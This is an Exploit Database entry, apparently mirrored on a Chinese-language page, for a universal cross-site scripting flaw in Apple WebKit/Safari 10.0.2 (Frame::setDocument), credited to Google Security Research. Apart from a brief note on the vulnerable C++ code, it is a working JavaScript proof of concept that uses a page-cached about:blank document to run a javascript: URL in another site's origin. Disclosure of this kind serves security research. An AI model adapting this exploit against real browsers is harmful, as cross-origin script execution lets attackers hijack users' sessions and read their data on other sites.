Apple WebKit 10.0.2(12602.3.12.0.1) – ‘Frame::setDocument (1)’ Universal Cross-Site Scripting

• Exploit Database
• 109 阅读

• 作者： Google Security Research
  日期： 2017-04-04
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/41799/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49

  <!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1056   void Frame::setDocument(RefPtr<Document>&& newDocument) { ASSERT(!newDocument || newDocument->frame() == this);   if (m_doc && m_doc->pageCacheState() != Document::InPageCache) m_doc->prepareForDestruction();   m_doc = newDocument.copyRef(); ... }   The function |prepareForDestruction| only called when the cache state is not |Document::InPageCache|. So the frame will be never detached from the cached document.   PoC: -->   "use strict";   document.write("click anywhere to start");   window.onclick = () => { let w = open("about:blank", "one"); let d = w.document;   let a = d.createElement("a"); a.href = "https://abc.xyz/"; a.click();<<------- about:blank -> Document::InPageCache   let it = setInterval(() => { try { w.location.href.toString; } catch (e) { clearInterval(it);   let s = d.createElement("a");<<------ about:blank&apos;s document s.href = "javascript:alert(location)"; s.click(); } }, 0); };     <!-- Tested on Safari 10.0.2(12602.3.12.0.1). -->